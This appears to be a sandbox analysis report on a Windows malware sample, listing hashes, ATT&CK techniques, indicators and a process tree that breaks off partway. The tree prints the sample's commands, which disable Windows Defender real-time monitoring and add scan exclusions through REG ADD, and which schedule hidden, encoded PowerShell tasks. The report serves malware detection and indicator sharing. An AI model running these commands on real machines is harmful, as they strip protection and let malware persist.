bae538268f69192376e800c6a1145d98f10c53d52a5c140a8946c4d0cc1fefcb

Analysis

max time kernel
96s
max time network
98s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20/11/2024, 10:35

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
Size

6.5MB
MD5

f994bb58737568a5d9549aba27765817
SHA1

775e2ca46093b3c1da6f75892688ce32188a4286
SHA256

bae538268f69192376e800c6a1145d98f10c53d52a5c140a8946c4d0cc1fefcb
SHA512

e97ab6c13c27734acdc588ed953bd906548b7588d3d49cf0c1432d90fd85f296b8d54dc8e9b3d03f92af0e34bedf018a50bbbf1ced6103c0df2b8864eea6488d
SSDEEP

196608:mr0oklsXtdc6LhccHBBNFXMR8osjcJvnc3VYN9:InXtdcI7DQsjc1nYiN9

Score

10^/10

defense_evasion discovery evasion execution spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 30 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\qpcixqkJzVDU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\FGzQmVBDU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\OnhNpPaMzJMsBlOt = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\WgvytFsLYgBOZHOrTkR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\OnhNpPaMzJMsBlOt = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\kownoHBJhKbQorKWi = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\eQklilqgHwOfC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\NpSuaNqPYDJSGZVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\XCoeaKLADIUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1884	powershell.EXE
600	powershell.EXE
2840	powershell.exe
2288	powershell.EXE

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3063565911-2056067323-3330884624-1000\Control Panel\International\Geo\Nation	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe

Indirect Command Execution 1 TTPs 1 IoCs

Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.

defense_evasion

Indirect Command Execution

T1202

pid	Process
2004	forfiles.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops Chrome extension 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\fjdkmkjlnhchckdbmdfbhkofmjdkhfig\1.0_0\manifest.json	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File created	C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\oikgcnjambfooaigmdljblbaeelmekem\1.0.0.0\manifest.json	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe

Drops file in System32 directory 8 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	\??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Drops file in Program Files directory 13 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\FGzQmVBDU\pbQASK.dll	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{890E65A6-8611-4D9E-84C4-5B84DD9BA046}.xpi	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{890E65A6-8611-4D9E-84C4-5B84DD9BA046}.xpi	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File created	C:\Program Files (x86)\FGzQmVBDU\SyEraSL.xml	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File created	C:\Program Files (x86)\WgvytFsLYgBOZHOrTkR\WjAGpyU.dll	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File created	C:\Program Files (x86)\WgvytFsLYgBOZHOrTkR\teQakPT.xml	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File created	C:\Program Files (x86)\eQklilqgHwOfC\lSokFBA.dll	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File created	C:\Program Files (x86)\eQklilqgHwOfC\xgMioyQ.xml	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File created	C:\Program Files (x86)\XCoeaKLADIUn\lfAcKKp.dll	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File created	C:\Program Files (x86)\qpcixqkJzVDU2\ypIbUQJAlSHKL.dll	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
File created	C:\Program Files (x86)\qpcixqkJzVDU2\ymcolZg.xml	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\UzeKAwGyzqkhqRo.job	schtasks.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2240	2400	WerFault.exe	27

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WMIC.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	forfiles.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 9 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2260	schtasks.exe
2464	schtasks.exe
2940	schtasks.exe
2260	schtasks.exe
1576	schtasks.exe
2368	schtasks.exe
2444	schtasks.exe
3064	schtasks.exe
308	schtasks.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
1884	powershell.EXE
1884	powershell.EXE
1884	powershell.EXE
600	powershell.EXE
600	powershell.EXE
600	powershell.EXE
2840	powershell.exe
2288	powershell.EXE
2288	powershell.EXE
2288	powershell.EXE
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	1884	powershell.EXE
Token: SeDebugPrivilege	600	powershell.EXE
Token: SeDebugPrivilege	2840	powershell.exe
Token: SeIncreaseQuotaPrivilege	3024	WMIC.exe
Token: SeSecurityPrivilege	3024	WMIC.exe
Token: SeTakeOwnershipPrivilege	3024	WMIC.exe
Token: SeLoadDriverPrivilege	3024	WMIC.exe
Token: SeSystemProfilePrivilege	3024	WMIC.exe
Token: SeSystemtimePrivilege	3024	WMIC.exe
Token: SeProfSingleProcessPrivilege	3024	WMIC.exe
Token: SeIncBasePriorityPrivilege	3024	WMIC.exe
Token: SeCreatePagefilePrivilege	3024	WMIC.exe
Token: SeBackupPrivilege	3024	WMIC.exe
Token: SeRestorePrivilege	3024	WMIC.exe
Token: SeShutdownPrivilege	3024	WMIC.exe
Token: SeDebugPrivilege	3024	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3024	WMIC.exe
Token: SeRemoteShutdownPrivilege	3024	WMIC.exe
Token: SeUndockPrivilege	3024	WMIC.exe
Token: SeManageVolumePrivilege	3024	WMIC.exe
Token: 33	3024	WMIC.exe
Token: 34	3024	WMIC.exe
Token: 35	3024	WMIC.exe
Token: SeDebugPrivilege	2288	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2400 wrote to memory of 2464	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	28
PID 2400 wrote to memory of 2464	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	28
PID 2400 wrote to memory of 2464	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	28
PID 2400 wrote to memory of 2464	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	28
PID 2400 wrote to memory of 2304	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	30
PID 2400 wrote to memory of 2304	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	30
PID 2400 wrote to memory of 2304	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	30
PID 2400 wrote to memory of 2304	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	30
PID 3052 wrote to memory of 1884	3052	taskeng.exe	33
PID 3052 wrote to memory of 1884	3052	taskeng.exe	33
PID 3052 wrote to memory of 1884	3052	taskeng.exe	33
PID 1884 wrote to memory of 1060	1884	powershell.EXE	35
PID 1884 wrote to memory of 1060	1884	powershell.EXE	35
PID 1884 wrote to memory of 1060	1884	powershell.EXE	35
PID 2400 wrote to memory of 3056	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	40
PID 2400 wrote to memory of 3056	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	40
PID 2400 wrote to memory of 3056	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	40
PID 2400 wrote to memory of 3056	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	40
PID 2400 wrote to memory of 2552	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	42
PID 2400 wrote to memory of 2552	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	42
PID 2400 wrote to memory of 2552	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	42
PID 2400 wrote to memory of 2552	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	42
PID 2552 wrote to memory of 2512	2552	cmd.exe	44
PID 2552 wrote to memory of 2512	2552	cmd.exe	44
PID 2552 wrote to memory of 2512	2552	cmd.exe	44
PID 2552 wrote to memory of 2512	2552	cmd.exe	44
PID 2400 wrote to memory of 2540	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	45
PID 2400 wrote to memory of 2540	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	45
PID 2400 wrote to memory of 2540	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	45
PID 2400 wrote to memory of 2540	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	45
PID 2540 wrote to memory of 2572	2540	cmd.exe	47
PID 2540 wrote to memory of 2572	2540	cmd.exe	47
PID 2540 wrote to memory of 2572	2540	cmd.exe	47
PID 2540 wrote to memory of 2572	2540	cmd.exe	47
PID 2400 wrote to memory of 3064	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	48
PID 2400 wrote to memory of 3064	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	48
PID 2400 wrote to memory of 3064	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	48
PID 2400 wrote to memory of 3064	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	48
PID 2400 wrote to memory of 2328	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	50
PID 2400 wrote to memory of 2328	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	50
PID 2400 wrote to memory of 2328	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	50
PID 2400 wrote to memory of 2328	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	50
PID 3052 wrote to memory of 600	3052	taskeng.exe	52
PID 3052 wrote to memory of 600	3052	taskeng.exe	52
PID 3052 wrote to memory of 600	3052	taskeng.exe	52
PID 600 wrote to memory of 2316	600	powershell.EXE	54
PID 600 wrote to memory of 2316	600	powershell.EXE	54
PID 600 wrote to memory of 2316	600	powershell.EXE	54
PID 2400 wrote to memory of 2816	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	57
PID 2400 wrote to memory of 2816	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	57
PID 2400 wrote to memory of 2816	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	57
PID 2400 wrote to memory of 2816	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	57
PID 2400 wrote to memory of 2004	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	59
PID 2400 wrote to memory of 2004	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	59
PID 2400 wrote to memory of 2004	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	59
PID 2400 wrote to memory of 2004	2400	2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe	59
PID 2004 wrote to memory of 2984	2004	forfiles.exe	61
PID 2004 wrote to memory of 2984	2004	forfiles.exe	61
PID 2004 wrote to memory of 2984	2004	forfiles.exe	61
PID 2004 wrote to memory of 2984	2004	forfiles.exe	61
PID 2984 wrote to memory of 2840	2984	cmd.exe	62
PID 2984 wrote to memory of 2840	2984	cmd.exe	62
PID 2984 wrote to memory of 2840	2984	cmd.exe	62
PID 2984 wrote to memory of 2840	2984	cmd.exe	62

C:\Users\Admin\AppData\Local\Temp\2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe
"C:\Users\Admin\AppData\Local\Temp\2024-11-20_f994bb58737568a5d9549aba27765817_bkransomware.exe"
1⤵
- Checks computer location settings
- Drops Chrome extension
- Drops file in System32 directory
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2400
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gaLUsommH" /SC once /ST 03:44:26 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - System Location Discovery: System Language Discovery
  - Scheduled Task/Job: Scheduled Task
  PID:2464
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gaLUsommH"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2304
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /DELETE /F /TN "gaLUsommH"
  2⤵
  PID:3056
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2552
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    - System Location Discovery: System Language Discovery
    PID:2512
- C:\Windows\SysWOW64\cmd.exe
  cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2540
- - C:\Windows\SysWOW64\reg.exe
    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2572
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /CREATE /TN "gxFBJtRJY" /SC once /ST 08:36:43 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3064
- C:\Windows\SysWOW64\schtasks.exe
  schtasks /run /I /tn "gxFBJtRJY"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2328
- C:\Windows\SysWOW64\schtasks.exe
